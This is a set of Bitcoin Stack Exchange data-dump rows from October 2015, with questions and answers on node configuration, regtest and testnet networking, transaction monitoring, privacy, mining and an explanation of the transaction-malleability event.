  <row Id="40972" PostTypeId="2" ParentId="40970" CreationDate="2015-10-21T18:36:01.407" Score="1" Body="&lt;p&gt;Their wording is a little funny but it sounds like they act as a middle man and cannot guarantee a price until they have facilitated a deal. I assume the conversion rate shown on the main page is only an estimate. In that case they don't have to worry about price volatility as they are putting that burden on you the buyer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;§4 Terms and Conditions of Service&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The Service uses the services of online payment provider Dotpay S.A.,&#xA;  whose office is located at ul. Wielicka 72, 30-552 Cracow, Poland.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Using the 4Coins.pl via online payment provider user transfer funds to&#xA;  the 4coins.pl’s account in PLN currency. The amount received by the&#xA;  Service is reduced by 1.9 % of its value as a commission charged by&#xA;  the online payment provider.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Service under an order for the total service credited to the account&#xA;  searches offers on the market BTC – bitcoin and mediates on the&#xA;  principle of matching user with the available range of offers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Due to the nature of the market BTC website does not guarantee the&#xA;  execution of transactions on the presented course. Given course is&#xA;  presented only in the form of information.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;After the service, the user will be informed about the parameters of&#xA;  the transaction, and may order the withdraw of their units BTC –&#xA;  bitcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-10-21T18:36:01.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40973" PostTypeId="1" CreationDate="2015-10-21T23:23:54.407" Score="3" ViewCount="61" Body="&lt;p&gt;If people cannot see what exactly the items purchased are but they only see the transaction of funds in the blockchain, does anonymity therefore even matter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you get associated with criminals later if their address is seized and your transaction to them is viewable on the block chain?&lt;/p&gt;&#xA;" OwnerUserId="30060" LastEditorUserId="18196" LastEditDate="2015-10-22T15:23:06.740" LastActivityDate="2016-11-18T21:47:37.283" Title="Can an onlooker even learn anything interesting by de-anonymizing a transaction?" Tags="|privacy|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40976" PostTypeId="1" CreationDate="2015-10-22T02:02:33.647" Score="1" ViewCount="907" Body="&lt;pre&gt;&lt;code&gt;vAlertPubKey = ParseHex(&quot;04fc9702847840aaf195de8442ebecedf5b095cdbb9bc716bda9110971b28a49e0ead8564ff0db22209e0374782c093bb899692d524e9d6a6956e7c5ecbcd68284&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;vAlertPubKey&lt;/code&gt; variable can be seen in the initialisations for &lt;code&gt;main&lt;/code&gt; and &lt;code&gt;test&lt;/code&gt; network, but not for &lt;code&gt;regtest&lt;/code&gt;. Can someone explain what it exactly means and how will it affect me if I want to simulate a network of 1000 or more nodes on a private network in &lt;code&gt;regtest&lt;/code&gt; mode ?&lt;/p&gt;&#xA;" OwnerUserId="29691" LastEditorUserId="2306" LastEditDate="2015-10-22T04:17:04.227" LastActivityDate="2015-11-21T11:05:34.167" Title="What is the variable valertpubkey in net.cpp for?" Tags="|bitcoind|public-key|regtest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40977" PostTypeId="2" ParentId="40976" CreationDate="2015-10-22T02:14:40.863" Score="1" Body="&lt;p&gt;One of the people who holds the private key corresponding to that public key (Satoshi, theymos, Gavin, and &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/2dz9ri/why_in_the_world_does_theymos_have_the_private/cjuu360&quot; rel=&quot;nofollow&quot;&gt;unspecified others&lt;/a&gt;) has the ability to send a message out to everyone on the network. This has been used in the past to tell people about security vulnerabilities in the client.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can someone explain what it exactly means and how will it affect me if I want to simulate a network of 1000 or more nodes on a private network in &lt;code&gt;regtest&lt;/code&gt; mode ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assuming you're not testing the alert system, it won't affect you.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-11-21T11:05:34.167" LastActivityDate="2015-11-21T11:05:34.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40978" PostTypeId="2" ParentId="28107" CreationDate="2015-10-22T03:59:37.277" Score="3" Body="&lt;p&gt;I would like to make an addition to above answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of &lt;code&gt;-connect=ip&lt;/code&gt; the correct option to use is &lt;code&gt;-addnode=ip&lt;/code&gt;. &lt;code&gt;-connect&lt;/code&gt; lets a node connect only to one node and whereas '-addnode' attempts at connecting to the specified list of nodes(ip) among other nodes.&lt;/p&gt;&#xA;" OwnerUserId="29691" LastActivityDate="2015-10-22T03:59:37.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40979" PostTypeId="1" CreationDate="2015-10-22T05:07:42.633" Score="2" ViewCount="36" Body="&lt;p&gt;Are there any restrictions as to whether you can use digital currency to fund your new business? Instead of selling stock offer DC for cash?&lt;/p&gt;&#xA;" OwnerUserId="30071" LastEditorUserId="5406" LastEditDate="2015-11-08T13:37:05.883" LastActivityDate="2015-11-08T13:37:05.883" Title="Can I issue digital currencies in instead of shares in a business?" Tags="|legal|decentralized-assets|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40980" PostTypeId="1" CreationDate="2015-10-22T05:46:39.417" Score="2" ViewCount="78" Body="&lt;p&gt;&lt;code&gt;fTestnetToBeDeprecatedFieldRPC&lt;/code&gt; is a &lt;code&gt;bool&lt;/code&gt; type variable set to some values in the &lt;code&gt;main&lt;/code&gt;, &lt;code&gt;testnet&lt;/code&gt; and &lt;code&gt;regtest&lt;/code&gt;in &lt;code&gt;chainparams.cpp&lt;/code&gt;. What is the use of this value ?&lt;/p&gt;&#xA;" OwnerUserId="29691" LastActivityDate="2015-11-21T21:32:44.077" Title="What is fTestnetToBeDeprecatedFieldRPC seen in chainparams.cpp?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40981" PostTypeId="2" ParentId="40980" CreationDate="2015-10-22T06:38:56.283" Score="2" Body="&lt;p&gt;The field corresponds to false for mainnet, true for testnet, and false for regtest. You can think of it as a flag that tells you whether the current network is testnet.&lt;/p&gt;&#xA;&lt;h3&gt;Why's it named like that?&lt;/h3&gt;&#xA;&lt;p&gt;To get people to not use it, and because &lt;code&gt;getinfo&lt;/code&gt; and &lt;code&gt;getmininginfo&lt;/code&gt; still use it:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;jtimon commented:&lt;/p&gt;&#xA;&lt;p&gt;Yeah, comparing to the testnet id was very readable so it's the new flag. The difference is that when people see &amp;quot;NetworkID() == something&amp;quot; they think they can use that too, while FlagWithLongNameIncludingTheWordDeprecated() is not as likely to be used or that's my hope.&#xA;@laanwj explained the deprecation thing, but basically, RPCs can just use bip70's networkidstring()&#xA;For the string, I was going to create another flag but @laanwj wants to keep chainparams clean of GUI-related things. Of course comparing to an enumerator is better than comparing to a string, again, the goal is that people don't see the comparation to the enumeration and think they can call CChainParams::NetworkID(), hopefully the comparison with a string will make people use that approach less, but we need the string for BIP70 anyway.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4802#issuecomment-54269146&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Source.)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-10-22T21:11:15.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40982" PostTypeId="1" CreationDate="2015-10-22T08:20:36.407" Score="1" ViewCount="626" Body="&lt;p&gt;The website I am working on needs to have a web wallet integrated. What is the best solution for for a back end web wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need something that the web site can interface with to be able to generate an address and sign and send transactions. Looking around I have found BitcoinJS which looks good but I will have to code the wallet myself. I am looking for an existing solution that can be used by my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoind does not scale well in my experience as the wallet gets bloated and starts hogging all the CPU hence a reference implementation is needed.&lt;/p&gt;&#xA;" OwnerUserId="24583" LastActivityDate="2015-10-22T08:20:36.407" Title="Best backend wallet for web service" Tags="|client|website-integration|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40984" PostTypeId="2" ParentId="22" CreationDate="2015-10-22T11:53:23.517" Score="11" Body="&lt;p&gt;If you would like to see some proof to verify that it is truly quite impossible to generate a known keypair, you could test this yourself, if you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/prusnak&quot; rel=&quot;noreferrer&quot;&gt;Pavol Rusnak&lt;/a&gt; has created coinkit, a python library for interacting with Bitcoin related stuff. In there, there is an &lt;a href=&quot;https://github.com/prusnak/coinkit/blob/master/vagabond&quot; rel=&quot;noreferrer&quot;&gt;example on how to use it&lt;/a&gt; that does exactly what you are asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it does is it generates a random keypair and searches blockchain.info for a balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I let it run about a month ago with slight modifications on about 1mio adresses and did not find a single one colliding.&lt;/p&gt;&#xA;" OwnerUserId="30076" LastEditorUserId="30076" LastEditDate="2015-10-22T16:54:12.647" LastActivityDate="2015-10-22T16:54:12.647" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40985" PostTypeId="1" CreationDate="2015-10-22T12:09:13.043" Score="3" ViewCount="793" Body="&lt;p&gt;I am trying to force &lt;code&gt;bitcoind&lt;/code&gt; running in &lt;code&gt;testnet mode&lt;/code&gt; to connect to my own defined set of ip addresses(basically 127.0.0.1:diffPorts). For this I have disabled dnsseed and starting with a fresh installation of &lt;code&gt;bitcoind&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am trying to simulate 4 nodes on a local machine, such that all 4 are hardcoded into the &lt;code&gt;chainparamseeds&lt;/code&gt; file as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static SeedSpec6 pnSeed6_test[] = {&#xA;    {{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0x7f,0x00,0x00,0x01}, 18441},&#xA;    {{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0x7f,0x00,0x00,0x01}, 18442},&#xA;    {{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0x7f,0x00,0x00,0x01}, 18443},&#xA;    {{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0x7f,0x00,0x00,0x01}, 18444}&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;debug.log&lt;/code&gt; output ends as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-10-22 11:53:43 Loading addresses from DNS seeds (could take a while)&#xA;2015-10-22 11:53:43 net thread start&#xA;2015-10-22 11:53:43 0 addresses found from DNS seeds&#xA;2015-10-22 11:53:43 init message: Done loading&#xA;2015-10-22 11:53:43 addcon thread start&#xA;2015-10-22 11:53:43 dnsseed thread exit&#xA;2015-10-22 11:53:43 opencon thread start&#xA;2015-10-22 11:53:43 msghand thread start&#xA;2015-10-22 11:54:44 Adding fixed seed nodes as DNS doesn't seem to be available.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expect the nodes should have connected to each other after the last line indicates that fixed seeds have been added, but that does not happens. Can someone guide me what am I missing here ? &lt;/p&gt;&#xA;" OwnerUserId="29691" LastActivityDate="2018-01-21T04:32:43.910" Title="Bitcoin testnet not connecting to hardcoded ip addresses" Tags="|bitcoind|bitcoin-core|testnet|testing|peer-discovery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40986" PostTypeId="1" CreationDate="2015-10-22T12:23:26.300" Score="6" ViewCount="2707" Body="&lt;p&gt;I would like to create a python script that listens to the bitcoin network and monitors some addresses, stored in a mysql db. As soon as a transaction is broadcast with one of these addresses as an output, the script should run a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not need to store the whole blockchain, nor do I want to. The private keys are also not on the same machine, for security. There is no wallet on this machine, just a list of addresses in a DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the moment I have implemented this with the webhooks from blockchain.info and also tested with blocktrail. It works but it does not work fast enough te achieve my goals, these solutions are just too slow to be practical. I need to be notified instantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at several options but none seem to fit as a good starting point. (BitcoinJ seems the closest but it is in Java) I cannot believe there is no such thing in existence, I just couldn't find one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can you steer me in the right direction? &lt;/p&gt;&#xA;" OwnerUserId="30076" LastActivityDate="2016-02-06T06:38:42.627" Title="Starting point for listening to bitcoin network transactions in Python" Tags="|transactions|network|python|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40987" PostTypeId="2" ParentId="40986" CreationDate="2015-10-22T12:34:41.613" Score="2" Body="&lt;p&gt;If you just listen to transactions on the network without having a validating node of your own you will have absolutely no way of knowing if they are legitimate or not. You must have a fully validating node locally, otherwise transactions can be cost-lessly fabricated to spend any amount of money anywhere. There is no recourse if you get this wrong, this is primarily why nobody has implemented any sort of validation in Python, &lt;a href=&quot;https://github.com/sebicas/bitcoin-sniffer&quot; rel=&quot;nofollow&quot;&gt;there's various bits of the p2p protocol on Github&lt;/a&gt;, but it does exactly &lt;em&gt;zero consensus validation on the data it receives&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current &lt;code&gt;master&lt;/code&gt; of Bitcoin Core (and the up coming 0.12 release at the end of the year) both contain a ZMQ interface which gives you a real time supply of validated transactions. A full node (pruned) can be run in as little as 2GB of space, and isn't very resource intensive for somebody running a business. There's example code for that available on github as &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/contrib/zmq/zmq_sub.py&quot; rel=&quot;nofollow&quot;&gt;zmq_sub.py&lt;/a&gt; which should get you started, just be aware that ZMQ has no guarantee of deliverability, some messages may be silently dropped if there are connectivity issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's important to keep in mind that an unconfirmed transaction has no guarantee of being confirmed, and may be invalidated at any point in time. Accepting zero confirmations is extremely risky, though updating a user interface with a list of unconfirmed transactions is perfectly reasonable behaviour. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-10-22T14:47:42.763" LastActivityDate="2015-10-22T14:47:42.763" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="40988" PostTypeId="2" ParentId="40973" CreationDate="2015-10-22T15:12:01.237" Score="3" Body="&lt;p&gt;Knowing what you bought isn't the only information that you can get from a transaction. For example, you could possibly discern:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The transaction creator's salary. (If the inputs in a transaction came from your salary payment.) At the very least, you put a minimum on how much money they have.&lt;/li&gt;&#xA;&lt;li&gt;The transaction creator's location. Many websites track where payments come from, geographically.&lt;/li&gt;&#xA;&lt;li&gt;Where you buy things. If an onlooker has access to address information from one party, say Overstock for example, then they can see if you transact with them. And sometimes where you buy things is a strong indication of what you're buying.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, knowing exactly what item you bought is not the only information that a user may be trying to keep private.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-10-22T15:25:06.347" LastActivityDate="2015-10-22T15:25:06.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40990" PostTypeId="1" AcceptedAnswerId="40991" CreationDate="2015-10-23T00:05:53.483" Score="10" ViewCount="506" Body="&lt;p&gt;The recent re-emergence of transaction malleability has been responsible for a large number of Txs which are being double spent (October 2015).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/Buttcoin/comments/3okxo5/does_amaclin_need_some_btc_to_wreck_havoc/cvyfy53&quot;&gt;/r/Bitcoin has posted&lt;/a&gt; some C++ code which @amaclin has taken responsibility for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that, based on this source code, the transaction malleability &quot;exploit&quot; is simply tweaking the DER signatures for certain Txs (ie non P2SH Txs) and rebroadcasting the Tx (&lt;em&gt;disclaimer: I don't know C++ so these are educated guesses&lt;/em&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP62 deals with numerous issues, amongst these is the requirement for canonical DER signatures: I was under the impression canonical DER signatures was implemented in BIP66. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can someone clarify what @amaclin's code is doing?&lt;/li&gt;&#xA;&lt;li&gt;Why is this exploit possible if BIP66 was implemented several weeks ago?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="2306" LastEditDate="2015-10-23T00:53:13.753" LastActivityDate="2015-10-23T01:41:33.190" Title="Why was the Oct 2015 Transaction Malleability event possible in spite of BIP62/66?" Tags="|signature|ecdsa|transaction-malleability|bip66|bip62|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40991" PostTypeId="2" ParentId="40990" CreationDate="2015-10-23T01:41:33.190" Score="9" Body="&lt;p&gt;Canonical DER signature implemented in BIP 66 fixes issue #1 of BIP 62 ( Non-DER encoded ECDSA signatures ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Amacilin's code exploits issue #5 in BIP 62 ( Inherent ECSDA signature malleability ),  and is explained here : &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/a81cd96805ce6b65cca3a40ebbd3b2eb428abb7b&quot;&gt;https://github.com/bitcoin/bitcoin/commit/a81cd96805ce6b65cca3a40ebbd3b2eb428abb7b&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue was fixed by requiring signatures to have low-S encoding in pull request 6769 : &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6769&quot;&gt;https://github.com/bitcoin/bitcoin/pull/6769&lt;/a&gt; . Note that this fix only prevents mutated transactions from being relayed (transactions without low-S encoding can still be mined into blocks).&lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2015-10-23T01:41:33.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40992" PostTypeId="2" ParentId="4445" CreationDate="2015-10-23T03:34:06.250" Score="2" Body="&lt;p&gt;You can use mine, for now it's on a best effort basis&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  host: 'rcorbish.ydns.eu',&#xA;  port: 18332,&#xA;  user: 'bitcoinrpc',&#xA;  pass: 'password'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30084" LastActivityDate="2015-10-23T03:34:06.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40993" PostTypeId="1" AcceptedAnswerId="40995" CreationDate="2015-10-23T03:48:17.677" Score="3" ViewCount="176" Body="&lt;p&gt;I am trying to run and connect multiple nodes on a single machine, i.e different nodes using different ports. I am having trouble in connecting the nodes and making them talk to each other. While debugging, I inserted a &lt;code&gt;LogPrintf(&quot;%s\n&quot;,addr)&lt;/code&gt; in the while loop of &lt;code&gt;ThreadOpenConnections()&lt;/code&gt; in &lt;code&gt;net.cpp&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output in the debug.log file is always &lt;code&gt;[::]:0&lt;/code&gt;. What does this address mean ? Is it for localhost representation or something else ? &lt;/p&gt;&#xA;" OwnerUserId="29691" LastActivityDate="2015-10-28T18:24:30.950" Title="What is [::]:0 address in bitcoin debug.log?" Tags="|bitcoind|connection|fallback-nodes|network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40995" PostTypeId="2" ParentId="40993" CreationDate="2015-10-23T06:11:16.623" Score="1" Body="&lt;p&gt;&lt;code&gt;[::]&lt;/code&gt; is IPv6's version of localhost (&lt;code&gt;0.0.0.0&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-10-26T12:03:10.493" LastActivityDate="2015-10-26T12:03:10.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40996" PostTypeId="2" ParentId="37570" CreationDate="2015-10-23T06:13:18.073" Score="1" Body="&lt;p&gt;&lt;em&gt;Why is my AntMiner S5 chain only intermittently operational?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's due to hardware failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Will BitmainTech replace it for me?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, I had the same issue. I had to pay to ship it back to them, and they very promptly shipped back a replacement board.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;How do I know if it's under warranty?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ask them. They're able to figure it out for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Is there a warranty?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, I believe it's 3 months (90 days).&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-10-23T06:13:18.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40997" PostTypeId="1" AcceptedAnswerId="41003" CreationDate="2015-10-23T06:31:52.313" Score="1" ViewCount="346" Body="&lt;p&gt;Now I expect to develop an ownership tracking service like Ascribe. I'm planning to develop it as following, however I am not sure whether my plan is correct. Therefore, please let me ask two questions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Whether the following plan is correct or not.&lt;/li&gt;&#xA;&lt;li&gt;Do I need to use bitcoind? Is is not enough to only use bitcoin-library(bitcoinjs-lib)?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My plan is following.&#xA; 1. Provide a user address and private_key made by bitcoinjs-lib.&#xA; 2. When the user upload an item, the item gets a specific ID.&#xA; 3. When the user transfer the item to another, the user put the ID of the item into OP_RETURN area(40byte area)&#xA; 4. Track the ownership of the item by tracking the specific ID.&lt;/p&gt;&#xA;" OwnerUserId="24693" LastEditorUserId="24693" LastEditDate="2015-10-23T06:42:44.800" LastActivityDate="2015-11-22T21:46:10.677" Title="How to develop an ownership tracking service based on bitcoin blockchain" Tags="|bitcoind|bitcoin-core|client|bitcoinjs|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40999" PostTypeId="1" CreationDate="2015-10-23T15:36:24.237" Score="-1" ViewCount="354" Body="&lt;p&gt;what is the coin name that I should mine using my persona PC CPU to make any kind of money.&#xA;my expectation is that it will be a coin designed to be mined using CPU mainly and in the same time, has a strong demand, so its value will not be dragged to zero fast like many other coins.&#xA;I realize that the question have been asked before in 2013 but I'm sure the answer should be different today.&#xA;thanks for any feedback.&lt;/p&gt;&#xA;" OwnerUserId="29802" LastActivityDate="2015-10-23T16:48:32.253" Title="is there a new coin in the market that can be mined using CPU only?" Tags="|mining-reward|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41000" PostTypeId="1" AcceptedAnswerId="41002" CreationDate="2015-10-23T16:34:06.090" Score="0" ViewCount="62" Body="&lt;p&gt;I don't know if &quot;fork&quot; is the right word here, but I know that two blocks can be mined around the same time, creating more than one competing block at a certain level of the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get information for about these competing blocks from bitcoind?&lt;/p&gt;&#xA;" OwnerUserId="24926" LastActivityDate="2015-10-24T22:51:42.363" Title="Is it possible to get information about forks in the blockchain?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ClosedDate="2015-10-25T19:48:32.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="41001" PostTypeId="2" ParentId="40999" CreationDate="2015-10-23T16:43:31.003" Score="2" Body="&lt;p&gt;I sincerely doubt that there is such a thing: If there were a coin with high demand, more people would mine it and mining would get more competitive. Making a coin CPU minable only, allows botnets to dominate mining, hence making mining more competitive. In general whenever mining is profitable, it will become more competitive until it is only for those at an advantage. – There is no such thing as a free lunch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be some obscure altcoins that can be mined profitably, but as any of them may go bust over night, and profitability keeps shifting from one to the other, you'll spend as much time reading, reconfiguring and trading that it'll be unprofitable concerning your time-investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably be able to pick two out of three at most: low risk, high profitabity, low time-investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But hey, that's just why I think it's not worth looking into, I might be wrong.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-10-23T16:48:32.253" LastActivityDate="2015-10-23T16:48:32.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41002" PostTypeId="2" ParentId="41000" CreationDate="2015-10-23T19:54:35.963" Score="2" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run &lt;code&gt;bitcoin-cli&lt;/code&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-reference#getchaintips&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getchaintips&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="4334" LastEditDate="2015-10-24T22:51:42.363" LastActivityDate="2015-10-24T22:51:42.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41003" PostTypeId="2" ParentId="40997" CreationDate="2015-10-23T20:53:52.353" Score="1" Body="&lt;p&gt;There are a lot of different projects that are looking to solve this problem. Almost all of them use something like colored coins to track an asset on the blockchain. Essentially, what your plan is missing are clear rules that prevent double spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out coinprism.com, colu.co and chromawallet.com for just a few different implementations of what you're trying to do.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-23T20:53:52.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41007" PostTypeId="1" AcceptedAnswerId="41008" CreationDate="2015-10-24T02:35:09.153" Score="8" ViewCount="344" Body="&lt;p&gt;In the transaction's version field, what values are legal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What values have actually been seen in the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2020-10-15T22:45:21.730" LastActivityDate="2020-10-15T22:45:21.730" Title="What values are legal for the transaction's version field?" Tags="|transactions|transaction-version|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41008" PostTypeId="2" ParentId="41007" CreationDate="2015-10-24T07:13:23.237" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;In the transaction's version field, what values are legal?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The version field is a 32 bit unsigned integer, any value is valid. Version 0, or version numbers above the nodes &lt;code&gt;CURRENT_VERSION&lt;/code&gt; constant &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/b94ae81576c199c9a44453b8c9b17e8303f67b72/src/policy/policy.cpp#L61-L64&quot; rel=&quot;nofollow noreferrer&quot;&gt;are considered non-standard and are not relayed&lt;/a&gt;, though they can appear in blocks. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What values have actually been seen in the blockchain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1&lt;/code&gt; is the only number to have been in use at this point in time. &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP62&lt;/a&gt; proposes bumping the version to &lt;code&gt;3&lt;/code&gt; (skipping &lt;code&gt;2&lt;/code&gt; entirely) to match the block version and avoid confusion, however this was withdrawn. BIP68 specifies that transactions spending a CSV output must have version &lt;code&gt;2&lt;/code&gt; or higher.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2016-12-27T21:22:42.253" LastActivityDate="2016-12-27T21:22:42.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
